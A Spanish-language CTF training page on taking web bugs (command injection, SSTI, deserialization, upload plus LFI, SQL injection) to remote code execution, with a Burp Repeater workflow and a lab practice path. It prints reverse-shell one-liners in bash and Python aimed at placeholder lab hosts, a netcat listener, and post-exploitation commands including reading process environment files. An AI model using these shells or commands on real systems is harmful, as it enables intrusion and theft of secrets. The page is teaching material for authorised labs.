ctf_manual
inicio / fundamentos / carril avanzado / bloque 2
RCE
// carril avanzado · bloque 2 de 4 · exploitation / RCE

Del input
al impacto

Clasifica el sink, conserva una petición reproducible y demuestra la primitive mínima. La shell llega después; a veces no llega, y reconocerlo también suma tiempo.

salida de este bloque

Triage de cinco rutas a RCE · flujo Proxy → HTTP history → Repeater · evidencia reproducible · shell únicamente en laboratorios autorizados · TTY estable · búsqueda disciplinada de la flag.

Anatomía: fuente → sink → primitive → impacto

RCE no es una categoría de entrada sino un resultado. Empieza por localizar dónde se interpreta el dato y qué identidad ejecuta esa interpretación. Conserva siempre una petición baseline y cambia una sola variable.

VectorDataflow / señalSonda local o de labEvidencia mínimaTimebox
Command injectionparámetro → cadena → shell del SO; errores con metacaracteres, salida o latencia controlablevalor; id o una demora corta y repetible, ajustada al shelldelta baseline/sonda + salida de id o ≥2 mediciones de tiempo consistentes12 min
SSTIinput concatenado en la plantilla, no pasado como dato; la expresión se evalúa en servidor{{7*7}}, ${7*7} o sintaxis mínima según contextoresultado calculado + identificación sustentada del motor antes de buscar escape15 min
Deserializacióncookie/body opaco vuelve a objeto; firmas PHP/Java/.NET, tipos y longitudes significativosdecodifica, round-trip sin cambios y muta un atributo benigno manteniendo formatoestado server-side alterado; RCE solo si documentas magic method/gadget → sink20 min
Upload + LFIsubida almacena bytes; otra ruta permite incluir/interpretar el archivosube un marcador inocuo, recupera su ruta y prueba inclusión como textocontrol de contenido + ruta conocida + ejecución separada; cada primitive por escrito18 min
SQLi → RCEinput altera SQL; la escalada depende del motor, privilegios, extensiones o escritura ejecutableconfirma SQLi y fingerprint de BD antes de probar capacidadesquery controlada + identidad/privilegios + mecanismo concreto hacia ejecución20 min
regla de corte SQLi no implica shell; upload no implica ejecución; LFI no implica que puedas escribir; deserialización no implica que exista gadget útil. Si no puedes nombrar el siguiente eslabón y su evidencia, vuelve a recon o aparca.

Command injection

Distingue contexto Unix/Windows, argumento vs. cadena interpretada por shell y salida visible vs. blind. Empieza con una primitive reversible: identidad, hostname o demora corta. Si el separador falla, no concluyas “no vulnerable” sin entender quoting y API de ejecución.

SSTI

Detecta primero, identifica después, explota al final. Una reflexión literal de {{7*7}} no es SSTI; 49 sí prueba evaluación, pero todavía no prueba acceso a objetos peligrosos ni RCE.

Deserialización insegura

Preserva tipos, longitudes y encoding. La primitive inicial puede ser manipulación de atributos; la escalada exige una cadena de métodos existente que alcance un sink. No generes payloads de gadgets a ciegas sin formato, librerías y runtime.

Upload + LFI

Trátalo como composición: escribir bytes, conocer su ruta, lograr que el servidor los incluya y confirmar que el intérprete los ejecuta. Un archivo descargable con extensión rara no basta.

SQLi que escala

Fingerprint de motor, usuario de BD, permisos y filesystem antes de buscar ejecución. La ruta puede ser una función peligrosa, extensión, procedimiento o escritura en un directorio servido; si esa capacidad no existe, captura la flag desde la BD y termina.

Evidencia mínima

Guarda request baseline, request mutada, respuesta/delta, hipótesis y conclusión. Un screenshot sin la petición cruda no es reproducible; una shell sin registrar el vector te deja sin write-up y sin forma de recuperarte.

Burp: Proxy → HTTP history → Repeater

Burp Community basta para este flujo manual. Intercept sirve para observar una transacción; HTTP history conserva el mapa; Repeater es el banco de pruebas. Intruder llega solo después de demostrar señal manual.

  1. Scope y baseline. Abre el navegador integrado contra el laboratorio autorizado. Intercepta una petición representativa, reenvíala y apaga Intercept para no ahogarte en tráfico.
  2. HTTP history. Filtra por host, método y parámetros. Selecciona la petición y conserva status, longitud, tiempo y un fragmento estable del body.
  3. Send to Repeater. Envía la petición interesante; duplica la pestaña baseline y nombra la copia con la hipótesis, por ejemplo stock_cmd_sep.
  4. Una variable por envío. Cambia solo un parámetro, header, cookie o byte del body. Registra el delta; restaura antes de la siguiente familia de sondas.
  5. Escala con criterio. Solo tras una señal consistente pasa de detección a primitive y de primitive a impacto. Intruder automatiza una matriz conocida, no sustituye el razonamiento.
hipótesis: si __________ llega a __________ observaré __________
baseline: método/ruta ____ · status ____ · bytes ____ · tiempo ____
cambio único: parámetro ____ · antes ____ · después ____
delta: status ____ · bytes ____ · tiempo ____ · body ____
conclusión: negada / señal / primitive / impacto · siguiente sonda ____

Referencia oficial: Proxy e HTTP history ↗ · flujo de Repeater ↗

Micro-reto: clasifica la evidencia, no el payload

Tres observaciones reales de request/response. Elige la hipótesis mejor sustentada. No hay flag: la victoria es clasificar sin sobrediagnosticar RCE.

caso A
POST /preview
name={{7*7}}

HTTP/1.1 200 OK
Hello 49
caso B
Cookie: session=Tzo0OiJVc2VyIjoxOntzOjU6InJvbGUiO3M6NDoidXNlciI7fQ==

Base64 → O:4:"User":1:{...}
Sin segunda petición ni cambio observable.
caso C
POST /avatar → 201 Created
GET /uploads/note.txt → TEST_MARKER
GET /view?file=../../uploads/note.txt → TEST_MARKER

Del bug a la shell — solo en tu laboratorio

Antes de abrir un listener, demuestra ejecución con id y confirma que el objetivo puede alcanzar la IP/puerto de tu máquina de laboratorio. Sustituye los marcadores; nunca pegues una dirección pública.

atacante · VM de laboratorio
$ ip -br addr
$ nc -lvnp <PORT>
# usa la IP privada de la interfaz NAT/host-only que el objetivo sí alcanza
payload contextual · únicamente objetivo local autorizado
# Bash, si /dev/tcp está disponible
bash -c 'bash -i >& /dev/tcp/<LAB_IP>/<PORT> 0>&1'

# Python 3, si el runtime existe
python3 -c 'import os,socket,pty;s=socket.socket();s.connect(("<LAB_IP>",<PORT>));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'

Estabiliza la TTY

python3 -c 'import pty; pty.spawn("/bin/bash")'Ctrl-Zstty raw -echo; fgexport TERM=xterm-256colorstty rows 40 cols 120

Si falta Python, prueba script -qc /bin/bash /dev/null. Documenta qué binarios existen; no instales nada dentro del reto.

Primero identidad y contexto

id; hostname; pwduname -als -laenv | sortps aux --forest

No ejecutes enumeradores enormes por reflejo. El nombre del servicio, cwd, variables y archivos del reto suelen bastar en jeopardy.

Búsqueda de flag con presupuesto

OrdenComando no destructivoCriterio de corte
1 · cwdpwd; find . -maxdepth 3 -type f -ls 2>/dev/null2 min; lee nombres y permisos antes de abrir todo
2 · rutas probablesfind /opt /srv /var/www /home -type f -iname '*flag*' 2>/dev/null3 min; limita raíces, evita find / inicial
3 · marcadorgrep -RIl 'CTF{' /opt /srv /var/www /home 2>/dev/null3 min; corta si el filesystem es grande
4 · proceso/configtr '\0' '\n' < /proc/1/environ 2>/dev/nullsolo si permisos y modelo del reto lo justifican
evidencia de captura Conserva vector inicial, request que lo activa, identidad de ejecución, ruta exacta de la flag y comando de lectura. No modifiques permisos, no borres artefactos y no persistas acceso: en jeopardy el objetivo es la flag.

Ruta mínima de práctica — en este orden

Los catálogos cambian. Por eso la ruta apunta a categorías oficiales y criterios, no a nombres de retos. Registra request, delta y conclusión en cada parada.

  1. 70 min · mínimo

    1 · PortSwigger Web Security Academy

    Desde All labs ↗, completa un laboratorio vigente de OS command injection y uno de server-side template injection. Trabaja con Proxy → HTTP history → Repeater y entrega dos pares baseline/sonda. La Academy es gratuita y sus objetivos están hechos para ser atacados.

    salida: 2 labs resueltos + 2 evidencias Repeater + motor/contexto identificados
  2. 45 min · mínimo

    2 · DVWA local, aislado

    Instala únicamente desde el repositorio oficial de DVWA ↗. Practica el flujo manual sobre los módulos pertinentes disponibles en tu versión; conserva una primitive de comando y una cadena de lectura/inclusión sin salir de tu entorno.

    advertencia del proyectoDVWA es deliberadamente vulnerable. Ejecútalo dentro de una VM con red NAT (o aislamiento equivalente), enlazado solo a loopback/red privada. No lo subas a hosting, no abras puertos en el router y no lo expongas a Internet.
    salida: diagrama de red + URL privada + request reproducible + evidencia de impacto local
  3. 35 min · mínimo

    3 · picoCTF / picoGym

    Entra por la guía oficial de picoCTF ↗ y abre picoGym, su espacio de práctica no competitivo. Filtra la categoría Web Exploitation y elige un reto vigente cuya descripción o artefactos apunten a inyección o ejecución; no uses una lista antigua de nombres.

    salida: 1 flag válida + write-up de cinco líneas: señal, hipótesis, primitive, impacto, descarte
Si sobra tiempo · ampliar superficie

En Web Security Academy, añade un laboratorio vigente de insecure deserialization o file upload vulnerabilities. Repite la misma disciplina: baseline, cambio único, primitive e impacto. No pases a catálogos de pago en este bloque.

deserialización oficial ↗ · file upload oficial ↗

← anterior · bloque 1 siguiente · bloque 3 →
ctf_manual · carril avanzado · bloque 2 · exploitation / RCE inicio